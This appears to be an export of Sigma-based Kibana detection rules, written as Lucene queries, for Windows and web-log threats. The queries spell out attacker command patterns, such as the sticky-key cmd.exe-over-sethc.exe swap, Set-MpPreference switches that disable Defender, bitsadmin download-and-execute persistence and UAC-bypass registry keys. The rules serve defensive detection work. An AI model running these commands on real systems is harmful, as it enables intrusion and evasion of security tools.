{"description": "Attackers may change the file creation time of a backdoor to make it look like it was installed with the operating system.\nNote that many processes legitimately change the creation time of a file; it does not necessarily indicate malicious activity.\n", "enabled": false, "false_positives": ["Changes made to or by the local NTP service"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c6f7d028-8d94-30ba-c6b4-6215bdecf3db", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "File Creation Date Changed to Another Year", "query": "(((PreviousCreationUtcTime:2022* AND (NOT (CreationUtcTime:2022*))) OR (PreviousCreationUtcTime:202* AND (NOT (CreationUtcTime:202*)))) AND (NOT ((process.executable.text:(\"C\\:\\\\Windows\\\\system32\\\\ProvTool.exe\" OR \"C\\:\\\\Windows\\\\System32\\\\usocoreworker.exe\" OR \"C\\:\\\\Windows\\\\ImmersiveControlPanel\\\\SystemSettings.exe\") OR file.path.text:C\\:\\\\ProgramData\\\\USOPrivate\\\\UpdateStore\\\\* OR file.path.text:(*.tmp OR *.temp)) OR (process.executable.text:C\\:\\\\WINDOWS\\\\* AND process.executable.text:*\\\\TiWorker.exe AND file.path.text:*.cab))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1070"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113", "Florian Roth"], "license": ""}
{"description": "Attackers may leverage fsutil to enumerated connected drives.", "enabled": false, "false_positives": ["Certain software or administrative tasks may trigger false positivies."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "616e0c53-56b3-e3c7-0cb9-0bc378790c4c", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Fsutil Drive Enumeration", "query": "((process.executable:*\\\\fsutil.exe OR winlog.event_data.OriginalFileName:\"fsutil.exe\") AND process.command_line:*drives*)", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1120"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["Turla has used fsutil fsinfo drives to list connected drives. ", ""], "timestamp_override": "event.ingested", "author": ["Christopher Peacock '@securepeacock'", "SCYTHE '@scythe_io'"], "license": ""}
{"description": "Attempting to disable scheduled scanning and other parts of windows defender atp. Or set default actions to allow.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ca93fd34-3a48-b3ef-9b61-8d406a7c1edc", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Tamper Windows Defender - PSClassic", "query": "(process.command_line.text:*Set\\-MpPreference* AND (process.command_line.text:(*DisableRealtimeMonitoring\\ 1* OR *DisableBehaviorMonitoring\\ 1* OR *DisableScriptScanning\\ 1* OR *DisableArchiveScanning\\ 1* OR *DisableBlockAtFirstSeen\\ 1* OR *DisableIOAVProtection\\ 1* OR *DisableIntrusionPreventionSystem\\ 1* OR *DisableRemovableDriveScanning\\ 1* OR *DisableScanningMappedNetworkDrivesForFullScan\\ 1* OR *DisableScanningNetworkFiles\\ 1* OR *DisableRealtimeMonitoring\\ $true* OR *DisableBehaviorMonitoring\\ $true* OR *DisableScriptScanning\\ $true* OR *DisableArchiveScanning\\ $true* OR *DisableBlockAtFirstSeen\\ $true* OR *DisableIOAVProtection\\ $true* OR *DisableIntrusionPreventionSystem\\ $true* OR *DisableRemovableDriveScanning\\ $true* OR *DisableScanningMappedNetworkDrivesForFullScan\\ $true* OR *DisableScanningNetworkFiles\\ $true*) OR (process.command_line.text:*Allow* AND process.command_line.text:(*LowThreatDefaultAction* OR *ModerateThreatDefaultAction* OR *HighThreatDefaultAction*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored.\nIf these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process\n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "16a6eda9-a7ff-5af0-e80f-f0a0a6f10b36", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Unattend.xml File Access", "query": "file.path:*\\\\unattend.xml", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1552"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1552", "name": "Unsecured Credentials", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Attempts to detect PowerShell writing startup shortcuts. This procedure was highlighted in Red Canary Intel Insights Oct. 2021, \"We frequently observe adversaries using PowerShell to write malicious .lnk files into the startup directory to establish persistence. Accordingly, this detection opportunity is likely to identify persistence mechanisms in multiple threats. In the context of Yellow Cockatoo, this persistence mechanism eventually launches the command-line script that leads to the installation of a malicious DLL\"", "enabled": false, "false_positives": ["Unknown", "Depending on your environment accepted applications may leverage this at times. It is recomended to search for anomolies inidicative of malware."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "53f99753-b94e-167e-3c94-8eb6f4819561", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "PowerShell Writing Startup Shortcuts", "query": "(process.executable.text:(*\\\\powershell.exe OR *\\\\pwsh.exe) AND file.path.text:*\\\\start\\ menu\\\\programs\\\\startup\\\\* AND file.path.text:*.lnk)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Christopher Peacock '@securepeacock'", "SCYTHE"], "license": ""}
{"description": "Attempts to detect registry events for common NetWire key HKCU\\Software\\NetWire", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9a64341d-8b13-f323-b48c-cd007d43d8e7", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "NetWire RAT Registry Key", "query": "(winlog.event_data.EventType:\"CreateKey\" AND winlog.event_data.TargetObject:*\\\\software\\\\NetWire*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1112"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}]}], "version": 1, "references": ["", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Christopher Peacock"], "license": ""}
{"description": "Attempts to detect system changes made by Blue Mockingbird", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "92425085-f5fa-c7b0-7cd0-ab30a2545edd", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Blue Mockingbird", "query": "((process.executable.text:*\\\\cmd.exe AND process.command_line.text:*sc\\ config* AND process.command_line.text:*wercplsupporte.dll*) OR (process.executable.text:*\\\\wmic.exe AND process.command_line.text:*COR_PROFILER))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1047", "T1112"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1047", "name": "Windows Management Instrumentation", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Trent Liffick (@tliffick)"], "license": ""}
{"description": "Attempts to detect system changes made by Blue Mockingbird", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "92425085-f5fa-c7b0-7cd0-ab30a2545edd", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Blue Mockingbird", "query": "(winlog.event_data.EventType:\"Setvalue\" AND winlog.event_data.TargetObject:*\\\\CurrentControlSet\\\\Services\\\\wercplsupport\\\\Parameters\\\\ServiceDll)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1047", "T1112"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1047", "name": "Windows Management Instrumentation", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Trent Liffick (@tliffick)"], "license": ""}
{"description": "Attempts to load dismcore.dll after dropping it", "enabled": false, "false_positives": ["Actions of a legitimate telnet client"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a374a566-3077-260a-c34d-e3e5cd9b2d34", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "UAC Bypass With Fake DLL", "query": "((process.executable:*\\\\dism.exe AND file.path:*\\\\dismcore.dll) AND (NOT (file.path:\"C\\:\\\\Windows\\\\System32\\\\Dism\\\\dismcore.dll\")))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1548", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}, {"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}, {"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["oscd.community", "Dmitry Uchakin"], "license": ""}
{"description": "Automatically lock workstation sessions after a standard period of inactivity. The case is not applicable for Unix OS. Supported OS - Windows 2008 R2 and 7, Windows 2012 R2 and 8.1, Windows 2016 and 10 Windows Server 2019.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9ca81fc9-2acc-ed51-21e4-38b27cd226c9", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Locked Workstation", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4800\")", "meta": {"from": "1m"}, "severity": "low", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["Alexandr Yampolskyi", "SOC Prime"], "license": ""}
{"description": "Aversaries may use to interact with a remote network share using Server Message Block (SMB).\nThis technique is used by post-exploitation frameworks.\n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f56dc50c-5963-abf0-e145-d62177824d59", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Writing Local Admin Share", "query": "(file.path:*\\\\127.0.0* AND file.path:*\\\\ADMIN$\\\\*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Lateral Movement", "T1546"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Backdooring domain object to grant the rights associated with DCSync to a regular user or machine account using Powerview\\Add-DomainObjectAcl DCSync Extended Right cmdlet, will allow to re-obtain the pwd hashes of any user/computer", "enabled": false, "false_positives": ["New Domain Controller computer account, check user SIDs within the value attribute of event 5136 and verify if it's a regular user or DC computer account."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "764e1e82-5daf-496f-eb76-8055f0d45052", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Powerview Add-DomainObjectAcl DCSync AD Extend Right", "query": "(winlog.channel:\"Security\" AND (winlog.event_id:\"5136\" AND winlog.event_data.AttributeLDAPDisplayName:\"ntSecurityDescriptor\" AND winlog.event_data.AttributeValue:(*1131f6ad\\-9c07\\-11d1\\-f79f\\-00c04fc2dcd2* OR *1131f6aa\\-9c07\\-11d1\\-f79f\\-00c04fc2dcd2* OR *89e95b76\\-444d\\-4c62\\-991a\\-0facbeda640c*)) AND (NOT ((winlog.event_data.ObjectClass:(\"dnsNode\" OR \"dnsZoneScope\" OR \"dnsZone\")))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1098"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1098", "name": "Account Manipulation", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Samir Bousseaden; Roberto Rodriguez @Cyb3rWard0g; oscd.community; Tim Shelton; Maxence Fossat"], "license": ""}
{"description": "Before deploying any new asset, change all default passwords to have values consistent with administrative level accounts. Sigma detects default credentials usage. Sigma for Qualys vulnerability scanner. Scan type - Vulnerability Management.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "3a1cebc1-dcae-cc5a-d11c-a96a8f7d0e55", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Default Credentials Usage", "query": "host.scan.vuln:(\"10693\" OR \"11507\" OR \"11633\" OR \"11804\" OR \"11821\" OR \"11847\" OR \"11867\" OR \"11931\" OR \"11935\" OR \"11950\" OR \"12541\" OR \"12558\" OR \"12559\" OR \"12560\" OR \"12562\" OR \"12563\" OR \"12565\" OR \"12587\" OR \"12590\" OR \"12599\" OR \"12702\" OR \"12705\" OR \"12706\" OR \"12907\" OR \"12928\" OR \"12929\" OR \"13053\" OR \"13178\" OR \"13200\" OR \"13218\" OR \"13241\" OR \"13253\" OR \"13274\" OR \"13296\" OR \"13301\" OR \"13327\" OR \"13373\" OR \"13374\" OR \"13409\" OR \"13530\" OR \"13532\" OR \"20065\" OR \"20073\" OR \"20081\" OR \"27202\" OR \"27358\" OR \"38702\" OR \"38719\" OR \"42045\" OR \"42417\" OR \"43029\" OR \"43220\" OR \"43221\" OR \"43222\" OR \"43223\" OR \"43225\" OR \"43246\" OR \"43431\" OR \"43484\" OR \"86857\" OR \"87098\" OR \"87106\")", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["Alexandr Yampolskyi", "SOC Prime"], "license": ""}
{"description": "BITS will allow you to schedule a command to execute after a successful download to notify you that the job is finished. When the job runs on the system the command specified in the BITS job will be executed. This can be abused by actors to create a backdoor within the system and for persistence. It will be chained in a BITS job to schedule the download of malware/additional binaries and execute the program after being downloaded", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "dc44acb5-2e11-403a-389a-b84551bc5fe5", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Monitoring For Persistence Via BITS", "query": "(process.command_line:*bitsadmin* AND ((process.command_line:*\\/SetNotifyCmdLine* AND process.command_line:(*%COMSPEC%* OR *cmd.exe* OR *regsvr32.exe*)) OR (process.command_line:*\\/Addfile* AND process.command_line:(*http\\:* OR *https\\:* OR *ftp\\:* OR *ftps\\:*))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1197"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1197", "name": "BITS Jobs", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Sreeman"], "license": ""}
{"description": "BlackByte set three different registry values to escalate privileges and begin setting the stage for lateral movement and encryption", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "461df8e3-268f-f290-4c28-d44365c828a8", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Blackbyte Ransomware Registry", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:(\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\\LocalAccountTokenFilterPolicy\" OR \"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\\EnableLinkedConnections\" OR \"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\FileSystem\\\\LongPathsEnabled\") AND winlog.event_data.Details:\"DWORD\\ \$0x00000001\$\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1112"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "By replacing the sticky keys executable with the local admins CMD executable, an attacker is able to access a privileged windows console session without authenticating to the system. When the sticky keys are \"activated\" the privilleged shell is launched.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "09cef485-ebf5-dbbc-dcf5-243e6f9bf728", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Sticky-Key Backdoor Copy Cmd.exe", "query": "process.command_line:\"copy\\ \\/y\\ C\\:\\\\windows\\\\system32\\\\cmd.exe\\ C\\:\\\\windows\\\\system32\\\\sethc.exe\"", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Privilege Escalation", "T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Sreeman"], "license": ""}
{"description": "Bypasses User Account Control using a fileless method", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2f6630b7-0acf-c293-5867-d928a6c7ba97", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Bypass UAC Using DelegateExecute", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\open\\\\command\\\\DelegateExecute AND winlog.event_data.Details:\"\$Empty\$\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Bypasses User Account Control using Event Viewer and a relevant Windows Registry modification", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c1968a53-fe14-0915-7649-924922d9d528", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Bypass UAC Using Event Viewer", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*_Classes\\\\mscfile\\\\shell\\\\open\\\\command\\\\\$Default\$) AND (NOT (winlog.event_data.Details:%SystemRoot%\\\\system32\\\\mmc.exe\\ \\\"%1\\\"\\ %*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Certain strings in the uri_query field when combined with null referer and null user agent can indicate activity associated with the webshell ReGeorg.", "author": ["Cian Heasley"], "enabled": false, "false_positives": ["Web applications that use the same URL parameters as ReGeorg"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "9dcda8d3-9bbb-c8d7-1b3c-b6f0156cdb9a", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Webshell ReGeorg Detection Via Web Logs", "query": "(cs-uri-query:(*cmd\\=read* OR *connect&target* OR *cmd\\=connect* OR *cmd\\=disconnect* OR *cmd\\=forward*) AND NOT _exists_:cs-referer AND NOT _exists_:cs-user-agent AND http.request.method:\"POST\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1505"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1505", "name": "Server Software Component", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Certain strings in the uri_query field when combined with null referer and null user agent can indicate activity associated with the webshell ReGeorg.", "enabled": false, "false_positives": ["web applications that use the same URL parameters as ReGeorg"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "9dcda8d3-9bbb-c8d7-1b3c-b6f0156cdb9a", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Webshell ReGeorg Detection Via Web Logs", "query": "(cs-uri-query:(*cmd\\=read* OR *connect&target* OR *cmd\\=connect* OR *cmd\\=disconnect* OR *cmd\\=forward*) AND NOT _exists_:cs-referer AND NOT _exists_:cs-User-Agent AND http.request.method:\"POST\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1505"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1505", "name": "Server Software Component", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Cian Heasley"], "license": ""}
{"description": "Change outlook email security settings", "enabled": false, "false_positives": ["Administrative scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "bf5e50d8-1298-0aa1-d9c1-54a62e8356c7", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Change Outlook Security Setting in Registry", "query": "(winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Office\\\\* AND winlog.event_data.TargetObject:*\\\\Outlook\\\\Security\\\\* AND winlog.event_data.EventType:\"SetValue\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1137"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1137", "name": "Office Application Startup", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Change to authentication method could be an indicated of an attacker adding an auth method to the account so they can have continued access.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "9f9055b9-94c2-e59b-ed76-54b3bc41b424", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Change to Authentication Method", "query": "(LoggedByService:\"Authentication\\ Methods\" AND Category:\"UserManagement\" AND OperationName:\"User\\ registered\\ security\\ info\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["AlertIQ"], "license": ""}
{"description": "Checks for event id 1102 which indicates the security event log was cleared.", "enabled": false, "false_positives": ["Legitimate administrative activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c4137225-80fe-844f-ad2a-1e0f7adc0e81", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Security Event Log Cleared", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"1102\" AND Provider_Name:\"Microsoft\\-Windows\\-Eventlog\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1070"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Saw Winn Naung"], "license": ""}
{"description": "Checks whether the image specified in a process creation event doesn't refer to an .exe file (caused by process ghosting or other unorthodox methods to start a process)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7f46171e-381a-9685-1e8b-70d79d267399", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Execution of Suspicious File Type Extension", "query": "((NOT (process.executable.text:(*.exe OR *.tmp))) AND (NOT ((NOT _exists_:process.executable.text) OR (process.executable.text:(\"Registry\" OR \"MemCompression\" OR \"vmmem\")) OR (process.executable.text:(\"\\-\" OR \"\")) OR (process.executable.text:C\\:\\\\Windows\\\\Installer\\\\MSI*) OR (process.parent.executable.text:(C\\:\\\\ProgramData\\\\Avira\\\\* OR C\\:\\\\Windows\\\\System32\\\\DriverStore\\\\FileRepository\\\\*)) OR (process.executable.text:*.scr) OR (process.executable.text:*NVIDIA\\\\NvBackend\\\\* AND process.executable.text:*.dat) OR (process.executable.text:(C\\:\\\\Windows\\\\System32\\\\* OR C\\:\\\\Windows\\\\SysWOW64\\\\*) AND process.executable.text:*.com) OR (process.executable.text:*\\\\WinSCP.com) OR (process.executable.text:*C\\:\\\\Users\\\\* AND process.executable.text:*\\\\AppData\\\\* AND process.executable.text:*.tmp* AND process.executable.text:*CodeSetup*) OR (process.executable.text:*\\\\program\\\\soffice.bin) OR (process.executable.text:(\"C\\:\\\\Program\\ Files\\\\EMC\\ NetWorker\\\\Management\\\\GST\\\\apache\\\\cgi\\-bin\\\\update_jnlp.cgi\" OR \"C\\:\\\\Program\\ Files\\ \$x86\$\\\\EMC\\ NetWorker\\\\Management\\\\GST\\\\apache\\\\cgi\\-bin\\\\update_jnlp.cgi\")) OR (process.executable.text:(C\\:\\\\Program\\ Files\\ \$x86\$\\\\WINPAKPRO\\\\* OR C\\:\\\\Program\\ Files\\\\WINPAKPRO\\\\*) AND process.executable.text:*.ngn) OR (process.executable.text:(\"C\\:\\\\Program\\ Files\\ \$x86\$\\\\MyQ\\\\Server\\\\pcltool.dll\" OR \"C\\:\\\\Program\\ Files\\\\MyQ\\\\Server\\\\pcltool.dll\")) OR (process.executable.text:(C\\:\\\\Program\\ Files\\\\Microsoft\\ Visual\\ Studio\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\ Visual\\ Studio*) AND process.executable.text:*.com) OR (process.executable.text:C\\:\\\\Config.Msi\\\\* AND process.executable.text:(*.rbf OR *.rbs)) OR (process.executable.text:*\\\\AppData\\\\Local\\\\Packages\\\\* AND process.executable.text:*\\\\LocalState\\\\rootfs\\\\*) OR (process.executable.text:*\\\\LZMA_EXE) OR (process.parent.executable.text:C\\:\\\\Windows\\\\Temp\\\\* AND process.executable.text:C\\:\\\\Windows\\\\Temp\\\\Helper\\\\*) OR (process.parent.executable.text:C\\:\\\\Windows\\\\Temp\\\\* AND process.parent.executable.text:*\\\\TBT_Dock_Firmware\\\\GetDockVer32W.exe))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Max Altgelt"], "license": ""}
